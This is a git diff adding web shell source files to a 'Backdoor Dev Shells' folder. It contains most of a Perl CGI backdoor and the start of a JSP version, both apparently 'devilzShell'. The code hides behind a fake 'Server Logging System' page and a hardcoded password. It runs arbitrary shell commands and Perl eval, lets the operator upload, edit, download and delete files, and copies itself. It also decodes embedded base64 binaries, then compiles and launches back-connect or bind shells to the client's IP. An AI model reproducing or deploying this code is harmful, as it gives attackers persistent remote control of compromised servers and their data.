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 +aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D +7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0 +icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb +c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/ +//9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A +UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W +VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg +KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA +AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E +TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA +AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA +AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; +$shell_style = " + +"; + +################# FUNCTION GOES HERE #######################==============================================] +sub init_cgi{ + my $length = $ENV{'CONTENT_LENGTH'}; + my $content_type = $ENV{'CONTENT_TYPE'}; + my (@assign, %formlist); + if (defined($length) and $length > 0 ){ + binmode STDIN; + sysread(STDIN, $_, $length); + chomp; + $query = $_; + if ((!$content_type) || ($content_type eq 'application/x-www-form-urlencoded')){ + @assign = split('&',$query); + foreach (@assign) { + my ($name,$value) = split /=/; + $value =~ tr/+/ /; + $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; + $formlist{$name} = $value; + } + } + else{ + ($boundary = $content_type) =~ s/^.*boundary=(.*)$/\1/; + @pairs = split(/--$boundary/, $query); + @pairs = splice(@pairs,1,$#pairs-1); + for $part (@pairs) + { + ($dump,$fline,$value) = split(/\r\n/,$part,3); + next if $fline =~ /filename=\"\"/; + $fline =~ s/^Content-Disposition: form-data; //; + (@columns) = split(/;\s+/, $fline); + ($name = $columns[0]) =~ s/^name="([^"]+)"$/\1/g; + if($part =~ /filename=\"([^"]*)\"/){ + $formlist{'uploadname'} = $1; + } + if ($#columns > 0) + { + if ($value =~ /^Content-Type:/) + { + ($dump,$dump,$value) = split(/\r\n/,$value,3); + } + else + { + ($dump,$value) = split(/\r\n/,$value,2); + } + } + else + { + ($dump,$value) = split(/\r\n/,$value,2); + if (grep(/^$name$/, keys(%CGI))) + { + if (@{$formlist{$name}} > 0) + { + push(@{$formlist{$name}}, $value); + } + else + { + $arrvalue = $formlist{$name}; + undef $formlist{$name}; + $formlist{$name}[0] = $arrvalue; + push(@{$formlist{$name}}, $value); + } + } + else + { + next if $value =~ /^\s*$/; + $formlist{$name} = $value; + } + next; + } + $formlist{$name} = $value; + } + } + } + my $query = $ENV{'QUERY_STRING'}; + if ($query =~ /\w+/){ + @assign = split('&',$query); + foreach (@assign) { + my ($name,$value) = split /=/; + $value =~ tr/+/ /; + $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; + #$value = urldecode($value); + #print $name."=".$value."
"; + $formlist{$name} = $value; + } + } + foreach $var (sort(keys(%formlist))) { + $val = $formlist{$var}; + $val =~ s|\n|\\n|g; + $val =~ s|"|\\"|g; + } + return %formlist; +} +sub init_cookie(){ + my %cookie; + if(defined($ENV{'HTTP_COOKIE'})){ + $rawcookie = $ENV{'HTTP_COOKIE'}; + @rawcookies = split /;/, $rawcookie; + foreach (@rawcookies){ + my ($name,$value) = split /=/; + $cookie{$name} = $value; + } + } + return %cookie; +} +sub trim($){ + my $string = shift; + $string =~ s/^\s+//; + $string =~ s/\s+$//; + return $string; +} +sub xfilesummary($){ + my $file = shift; + $buff = ""; + if(-f $file){ + $buff = "Filesize : ".&xparsefilesize(&xfilesize($file))." ( ".&xfilesize($file)." ) :: Permission : ".&xfileperms($file)." ( ".&xfileowner($file)." ) :: modified : ".&xfilelastmodified($file); + } + return $buff; +} +sub xparsefilesize($){ + my $size = shift; + if($size <= 1024) { + return $size; + } + else{ + if($size <= 1024*1024) { + $size = sprintf("%.02f",$size / 1024); + return $size." kb"; + } + else { + $size = sprintf("%.2f",$size / 1024 / 1024); + return $size." mb"; + } + } +} +sub xfilesize($){ + my $file = shift; + if(-f $file){ + return -s $file; + } + return "0"; + +} +sub xfileopen($){ + my $file = shift; + my $binary = shift; + + my $content = ""; + my $n = ""; + if(-f $file){ + if(open(FILE,$file)){ + if($binary){ + binmode FILE; + } + while (($n = read FILE, $data, 1024) != 0) { + $content .= $data; + } + close(FILE); + } + } + return $content; +} +sub xfilesave($){ + my $file = shift; + my $content = shift; + if(open(FILE,">".$file)){ + binmode FILE; + print FILE $content; + close(FILE); + return 1; + } + else { return 0 }; +} +sub trimslashes($){ + my $str = shift; + if(&is_win()){ + $str =~ s/\\$//; + } + else{ + $str =~ s/\/$//; + } + return $str; +} +sub xfileowner($){ + my $file = shift; + if(-e $file){ + if(-d $file){ + $file = trimslashes($file); + } + ($uid,$gid) = (stat($file))[4,5]; + if(&is_win()){ + return "???"; + } + else{ + $name=getpwuid($uid); + $group=getgrgid($gid); + return $name.":".$group; + } + } + return "???"; +} +sub xfilelastmodified($){ + my $file = shift; + if(-e $file){ + if(-d $file){ + $file = trimslashes($file); + } + ($la) = (stat($file))[9]; + ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1]; + $y = $y + 1900; + @month = qw/Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec/; + $lmtime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i); + return $lmtime; + } + return "???"; +} +sub xfileperms($){ + my $file = shift; + $isreadable = "-"; + $iswriteable = "-"; + if(-e $file){ + if(-r $file){ $isreadable = "r"; } + if(-w $file){ $iswriteable = "w"; } + } + return $isreadable . " / " . $iswriteable; +} +sub xrmdir($) { + my $dir = shift; + if(opendir(DIR,$dir)){ + while($file = readdir(DIR)){ + if(($file ne ".") && ($file ne "..")){ + if(-d $file){ + &xrmdir($dir."\\".$file); + } + else{ + unlink($dir."\\".$file); + } + } + } + closedir(DIR); + } + rmdir($dir); +} +sub xcleanpath($){ + my $path = shift; + $path = &urldecode(&trim($path)); + if(&is_win()){ + $path =~ tr/\//\\/; + } + + $xSlash = &DIRECTORY_SEPARATOR(); + + if(-f $path){ + $path = substr($path,0,rindex($path,$xSlash)); + } + while(substr($path,-1,1) eq $xSlash){ + $path = substr($path,0,-1); + } + return $path.$xSlash; +} +sub dirname($){ + my $file = shift; + $xSlash = &DIRECTORY_SEPARATOR(); + if(-f $file){ + return substr($file,0,rindex($file,$xSlash)).$xSlash; + } + elsif(-d $file){ + $file = &xcleanpath($file); + return substr($file,0,rindex($file,$xSlash)).$xSlash; + } + else{ + return substr($file,0,rindex($file,$xSlash)).$xSlash; + } +} +sub basename($){ + my $file = shift; + $xSlash = &DIRECTORY_SEPARATOR(); + if(-f $file){ + return substr($file,rindex($file,$xSlash) + 1); + } + else{ + return $xSlash; + } +} +sub is_win(){ + $os = $xSystem; + if($os =~ m/win/i){ + return 1; + } + else{ + return 0; + } +} +sub DIRECTORY_SEPARATOR(){ + if(&is_win()){ + return "\\"; + } + else { + return "\/"; + } +} +sub xdrive(){ + $letters = ""; + @range = (A..Z); + foreach $letter (@range){ + $check = $letter.":\\"; + $bool = (-e $check); + if ($bool) { + $letters .= "[ "; + $letters .= $letter; + $letters .= " ] "; + } + } + if($letters ne ""){ + $letters .= "
"; + } + return $letters; +} +sub urlencode($){ + my $str = shift; + $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; + return $str; +} +sub urldecode($){ + my $str = shift; + $str =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg; + return $str; +} +sub xparsedir($){ + my $dir = shift; + $xSlash = &DIRECTORY_SEPARATOR(); + if(&is_win()){ + @dirs = split /\\/,$dir; + } + else { + @dirs = split /\//,$dir; + } + $buff = ""; + $dlink = ""; + if(!&is_win()) { + $dlink .= &urlencode($xSlash); + $buff .= "
".$xSlash." "; + } + foreach $d (@dirs){ + $d = &trim($d); + if($d ne ""){ + $dlink .= &urlencode($d.$xSlash); + $buff .= "".$d." ".$xSlash." "; + } + } + return "[ ".$buff." ]"; +} +sub xparentfolder($){ + my $path = shift; + $xSlash = &DIRECTORY_SEPARATOR(); + $path = &xcleanpath($path); + $path1 = substr($path,0,rindex($path,$xSlash)); + $path2 = substr($path1,0,rindex($path1,$xSlash)); + if((-d $path2) || (rindex($path1,$xSlash) == 0)){ + return $path2.$xSlash; + } + else{ + return $path1.$xSlash; + } +} +sub ekse($){ + my $cmd = shift; + return `$cmd`; +} +sub xeval($){ + my $code = shift; + $cod = $code; + $code =~ s/\"/\\\"/g; + my $whichperl = &trim(&ekse("which perl")); + if($whichperl eq ""){ + $con = &xfileopen($ENV{'SCRIPT_FILENAME'},1); + if($con =~ /^#!(.*)/){ + $whichperl = &trim($1); + } + } + $result = ""; + if($whichperl ne ""){ + $result = &ekse($whichperl." -e \"".$code."\""); + } + if($result ne ""){ + return $result; + } + else{ + print "Content-type: text/html\n\n"; + eval($cod); + exit(1); + } +} +sub xdir($){ + my $path = shift; + $path = &trim(&xcleanpath($path)); + if(-d $path){ + @fname = (); + @dname = (); + if(opendir(DIR,$path)){ + while($file = readdir(DIR)){ + if(-d $file){ + push(@dname,$file); + } + else{ + push(@fname,$file); + } + } + closedir(DIR); + } + @fname = sort { lc($a) cmp lc($b) } @fname; + @dname = sort { lc($a) cmp lc($b) } @dname; + $buff = "
+ + + + + "; + foreach $d (@dname){ + my $d = &trim($d); + $sd = $d; + if($d eq "..") { + $nextdir = &xparentfolder(&xparentfolder($path)); + $d = &xcleanpath(&xparentfolder($path)); + } + elsif($d eq ".") { + $nextdir = &xparentfolder($path); + $d = &xcleanpath($path); + } + else { + $nextdir = $path; + $d = $path.$sd; + } + $dir = $d; + $buff .= " + "; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + } + foreach $f (@fname){ + $sf = $f; + $f = $path.$f; + $view = "?dir=".&urlencode($path)."&view=".&urlencode($f); + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + } + $buff .= "
FilenameFilesizePermissionLast ModifiedAction
[ ".$sd." ]DIR".&xfileperms($sd)."".&xfilelastmodified($sd)."Properties | Remove
+ + ".$sf."".&xparsefilesize(&xfilesize($f))."".&xfileperms($f)."".&xfilelastmodified($f)."Edit | Download | Remove
"; + return $buff; + } +} +sub xrunexploit($){ + my $fpath = shift; + my $base64 = shift; + my $port = shift; + my $type = shift; + $con = &b64decode($base64); + $final = ""; + if(&is_win()){ + $fname = "bd.exe"; + $ip = ""; + $fpath = $fpath.$fname; + if(-f $fpath){ + unlink($fpath); + } + if(&xfilesave($fpath,$con)){ + $fpath = &trim($fpath); + if($type eq 'connect'){ $ip = $ENV{'REMOTE_ADDR'}; } + $final .= $fpath." ".$port." ".$ip; + &ekse(&trim($final)); + return 1; + } + } + else { + if($type eq 'connect'){ $fname = "back"; } + else { $fname = "bind"; } + $ip = ""; + $fpath = $fpath.$fname; + if(-f $fpath.".c"){ + unlink($fpath.".c"); + } + if(&xfilesave($fpath.".c",$con)){ + $fpath = &trim($fpath); + if($type eq 'connect'){ $ip = $ENV{'REMOTE_ADDR'}; } + &ekse("gcc ".$fpath.".c -o ".$fpath); + &ekse("chmod +x ".$fpath); + if(-e $fpath){ + $final .= $fpath." ".$port." ".$ip; + &ekse(&trim($final)); + return 1; + } + } + } + return 0; +} +sub htmlspecialchars($){ + my $text = shift; + $text =~ s/&/&/g; + $text =~ s/"/"/g; + $text =~ s/'/'/g; + $text =~ s//>/g; + return $text; +} +sub nl2br($) { + my $text = shift; + $text =~ s/([\r\n])/
$1/g; + return $text; +} +sub b64decode +{ + local ($_) = @_; + local ($result); + eval qq{ tr|$tr_base64||cd; tr|$tr_base64|$tr_uuencode|; }; + while (s/^(.{60})//) { + $result .= unpack("u", "M" . $&); + } + if ($_ ne "") { + $result .= unpack("u", substr($uuencode_alphabet, length($_)*3/4, 1) . $_); + } + return $result; +} +sub b64encode +{ + local ($_) = @_; + local ($chunk); + local ($result); + while (s/^((.|\n){45})//) { + $chunk = substr(pack("u", $&), $[+1, 60); + eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; }; + $result .= $chunk . "\n"; + } + if ($_ ne "") { + $chunk = substr(pack("u", $_), $[+1, int((length($_)+2)/3)*4 - (45-length($_))%3); + eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; }; + $result .= $chunk . ($base64_pad x ((60 - length($chunk)) % 4)) . "\n"; + } + $result; +} +################# INIT GOES HERE #######################==================================================] +my %_VAR = &init_cgi; +my %_COOKIE = &init_cookie(); +my $xCwd = &xcleanpath($ENV{'SCRIPT_FILENAME'}); +my $auth = 0; +my $cmdeval = ""; +chdir($xCwd); +if(defined($_VAR{'passw'})){ + $check = &trim($_VAR{'passw'}); + $fut_time=gmtime(time()+3600*24*7)." GMT"; + $fut_time_=gmtime(time()-3600*24*7)." GMT"; + + if($check eq $shell_password){ + $cookie = "pass=".$check."; path=/; expires=".$fut_time.";"; + $m = $ENV{'SCRIPT_NAME'}; + print "Set-Cookie: " . $cookie . "\n"; + $auth = 1; + } + else { + $cookie = "pass=".$check."; path=/; expires=".$fut_time_.";"; + print "Set-Cookie: " . $cookie . "\n"; + } +} +$check = ""; +if(defined($_COOKIE{'pass'})) { + $check = &trim($_COOKIE{'pass'}); +} +if($check eq $shell_password){ + $auth = 1; + } +if(defined($_VAR{'img'})){ + $file = &trim($_VAR{'img'}); + if(-f $file){ + print "Content-type: image/jpeg\n\n"; + binmode STDOUT; + print &xfileopen($file,1); + exit; + } + else{ + $img = ${"$file"}; + print "Content-type: image/png\n\n"; + binmode STDOUT; + print &b64decode($img); + exit; + } +} +if(defined($_VAR{'get'}) && ($_VAR{'get'} ne "")){ + $file = $_VAR{'get'}; + $filez = &xfileopen($file,1); + print "Content-type: application/octet-stream\n"; + print "Content-Disposition: attachment;filename=\"".&basename($file)."\"\n\n"; + binmode STDOUT; + print $filez; + exit; +} +if(defined($_VAR{'btnConnect'})){ + $port = $_VAR{'bportC'}; + $dir = &xcleanpath($_VAR{'dir'}); + if(&is_win()) { + $base64 = $wBind; + } + else { + $base64 = $xBack; + } + + if(&xrunexploit($dir,$base64,$port,"connect")){ + + } +} +elsif(defined($_VAR{'btnListen'})){ + $port = $_VAR{'lportC'}; + $dir = &xcleanpath($_VAR{'dir'}); + if(&is_win()){ + $base64 = $wBind; + } + else{ + $base64 = $xBind; + } + + if(&xrunexploit($dir,$base64,$port,"listen")){ + + } +} +if(defined($_VAR{'dir'}) && ($_VAR{'dir'} ne "")){ + $newdir = &xcleanpath(&trim($_VAR{'dir'})); + if(defined($_VAR{'oldfilename'}) && ($_VAR{'oldfilename'} ne "")){ + $newdir = &dirname(&trim($_VAR{'properties'})); + } + if(defined($_VAR{'btnNewUploadLocal'})){ + $filecon = $_VAR{'filelocal'}; + if(defined($_VAR{'filename'})){ + $filename = &trim($_VAR{'filename'}); + if($filename eq ""){ + $filename = $_VAR{'uploadname'}; + } + } + else{ + $filename = &trim($_VAR{'uploadname'}); + } + &xfilesave($newdir.$filename,$filecon); + print "Content-type: text/html\n\n"; + print $newdir.$filename; + } + if(-d $newdir){ + chdir($newdir); + $xCwd = $newdir; + } + else{ + $newdir = &dirname($newdir); + if(-d $newdir){ + chdir($newdir); + $xCwd = $newdir; + } + } + if(defined($_VAR{'foldername'}) && ($_VAR{'foldername'} ne "")){ + $fname = &xcleanpath($_VAR{'foldername'}); + mkdir($newdir.$fname); + } + elsif(defined($_VAR{'del'}) && ($_VAR{'del'} ne "")){ + $fdel = $_VAR{'del'}; + if(-f $fdel){ + unlink($fdel); + } + elsif(-d $fdel){ + &xrmdir($fdel); + $newdir = xparentfolder($newdir); + } + } + elsif(defined($_VAR{'childname'}) && ($_VAR{'childname'} ne "")){ + $childname = $newdir.&trim($_VAR{'childname'}); + $con = &xfileopen($ENV{'SCRIPT_FILENAME'},1); + &xfilesave($childname,$con); + } +} +if(defined($_VAR{'cmd'}) && ($_VAR{'cmd'} ne "")){ + $cmd = $_VAR{'cmd'}; + $xCwd = &trim($_VAR{'dir'}); + if($cmd =~ m/^cd(.*)$/i){ + $newdir = &trim($1); + if($newdir eq ".."){ + $newdir = &xparentfolder($xCwd); + } + elsif($newdir eq "."){ + $newdir = $xCwd; + } + elsif($newdir =~ m/:/){ + $newdir = $newdir; + } + else{ + $newdir = $xCwd.$newdir; + } + if(-e $newdir) { + chdir($newdir); + $xCwd = $newdir; + } + $result = &xdir($xCwd); + } + elsif($cmd =~ m/^(\w{1}:.*)$/i){ + $newdir = &trim($1); + if(-e $newdir){ + chdir($newdir); + $xCwd = $newdir; + } + $result = &xdir($xCwd); + } + else { + $result = &ekse($cmd); + if($result ne "") { + $result = &htmlspecialchars($result); + $result =~ s/ / /g; + $result = &nl2br($result); + } + else { + $result = &xdir($xCwd); + } + } +} +elsif(defined($_VAR{'eval'}) && ($_VAR{'eval'} ne "")){ + $cmdeval = $_VAR{'eval'}; + $result = &htmlspecialchars(&xeval($_VAR{'eval'})); +} +elsif(defined($_VAR{'properties'}) && ($_VAR{'properties'} ne "")){ + $fname = &trim($_VAR{'properties'}); + $dir = &trim($_VAR{'dir'}); + if(defined($_VAR{'oldfilename'}) && ($_VAR{'oldfilename'} ne "")){ + $oldname = &trim($_VAR{'oldfilename'}); + rename($oldname,$fname); + } + $fcont = ""; + $fview = ""; + if(-d $fname){ + $fsize = "DIR"; + $fcont = &xdir($fname); + $faction = "Properties | Remove"; + + } + else{ + $fname = trimslashes($fname); + $fsize = &xparsefilesize(&xfilesize($fname))." ( ".&xfilesize($fname)." bytes )"; + $type = "text"; + if(defined($_VAR{'type'})){ + $type = &trim($_VAR{'type'}); + } + if($type eq 'img'){ + $imglink = "

[ view full size ]

"; + $fcont = "
".$imglink."\"\"
"; + } + else { + $code = &htmlspecialchars(&xfileopen($fname,0)); + $fcont = "
".&nl2br($code)."
"; + } + $faction = "Edit | Download | Remove"; + $fview = "[ text ][ image ]"; + } + $fowner = &xfileowner($fname); + $fperm = &xfileperms($fname); + @month = qw/Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec/; + ($la,$lm,$lc) = (stat($fname))[8,9,10]; + ($d,$m,$y,$h,$i) = (localtime($lm))[3,4,5,2,1]; + $y = $y + 1900; + $lmtime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i); + ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1]; + $y = $y + 1900; + $latime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i); + ($d,$m,$y,$h,$i) = (localtime($lc))[3,4,5,2,1]; + $y = $y + 1900; + $ctime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i); + $result = "
+
+ + ".$faction." | + + + +
+ Size = ".$fsize."
+ Owner = ( ".$fowner." )
+ Permission = ( ".$fperm." )
+ Create Time = ( ".$ctime." )
+ Last Modified = ( ".$lmtime." )
+ Last Accessed = ( ".$latime." )
+ ".$fview." +
+ ".$fcont." +
+
+ "; +} +elsif((defined($_VAR{'view'}) && ($_VAR{'view'} ne "")) || ((defined($_VAR{'filename'}) && ($_VAR{'filename'} ne "")))){ + $msg = ""; + if(defined($_VAR{'save'})){ + $file = &trim($_VAR{'saveas'}); + $content = $_VAR{'filesource'}; + if(&xfilesave($file,$content)){ + $pesan = "File Saved"; + } + else{ + $pesan = "Failed to save file"; + } + $msg = "[ ".$pesan." ]"; + } + else { + if(defined($_VAR{'view'}) && ($_VAR{'view'} ne "")){ + $file = &trim($_VAR{'view'}); + } + else{ + $file = $xCwd.&trim($_VAR{'filename'}); + } + } + $result = &xfileopen($file,0); + $result = &htmlspecialchars($result); + $result = " +

".&xfilesummary($file)."".$msg."

+
+ + + +
+ "; +} +else{ + $result = &xdir($xCwd); +} +################# Finalizing #######################======================================================] +$xCwd = xcleanpath($xCwd); +if($auth){ + if(defined($_VAR{'bportC'})) { $bportC = $_VAR{'bportC'}; } + else { $bportC = $shell_fav_port; } + if(defined($_VAR{'lportC'})) { $lportC = $_VAR{'lportC'}; } + else { $lportC = $shell_fav_port; } + $html_title = $shell_title." ".$xCwd; + $html_head = " +".$html_title." + +".$shell_style." + +"; +$html_body = " +
+

".$shell_title."

+
".$xHeader." +
+".&xdrive()." +".&xparsedir($xCwd)." +
+ +
+
+ + + + + + + + +
BackConnect +Port  + +example: (using netcat) run "nc -l -p ".$bportC."" and then press Connect
Listen +Port  + +example: (using netcat) press "Listen" and then run "nc ".$xServerIP." ".$lportC.""
+
+
+
+
+ + + +
New Foldername + + + +
+
+
+
+
+ + + + +
New Filename + + + +
+
+
+
+ + + +
Save as
From Computer + + + +
+
+
+
+
+ + + + +
+ +
+
+
+
+
+ + + +
New Shellname + + +
+
+
+
+
+
+ + + +
+
+
+
+".$result." +
+"; +} +else { + $html_title = $shell_fake_name; + $html_head = "".$html_title."".$shell_style; + $html_body = " +
+
+
+ + +
+
+
".$shell_fake_name."
+
+"; +} +if(defined($_VAR{'cmd'}) || defined($_VAR{'passw'})) { $html_onload = "onload=\"document.getElementById('cmd').focus();\""; } +else { $html_onload = ""; } +$html_final = " + + +".$html_head." + + +
+".$html_body." +
+ +"; +print "Content-type: text/html\n\n"; +$html_final =~ s/\s+/ /g; +print $html_final; \ No newline at end of file diff --git a/Backdoor Dev Shells/Source/devilzShell.jsp b/Backdoor Dev Shells/Source/devilzShell.jsp new file mode 100644 index 0000000..7a21fdd --- /dev/null +++ b/Backdoor Dev Shells/Source/devilzShell.jsp @@ -0,0 +1,1319 @@ +<%@ page contentType="text/html"%><%@ page import="java.io.*,java.util.*,java.net.*,java.text.*,sun.misc.*,java.security.*,java.lang.*,java.lang.String" %><% +// +// devilzShell <[jsp]> +// ^^^^^^^^^^^^ +// author: b374k +// greets: devilzc0der(s) and all of you who love peace and freedom +// +// +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +// Jayalah Indonesiaku + + +//################ VARIABLES GOES HERE #######################=============================================] +String shell_name = "devilzShell"; +String shell_fake_name = "Server Logging System"; +String shell_title = " :: " + shell_name + " ::"; +String shell_version = "v1"; +String shell_password = "devilzc0der"; +String shell_fav_port = "12345"; +String shell_color = "#374374"; + +// server software +String xSoftware = application.getServerInfo().trim(); +// uname -a +String xSystem = System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch"); +// server ip +InetAddress inetAddress = InetAddress.getLocalHost(); +String xServerIP = inetAddress.getHostAddress(); +// your ip ;-) +String xClientIP = request.getRemoteAddr(); + +String xHeader = xSoftware + "
" + xSystem + "
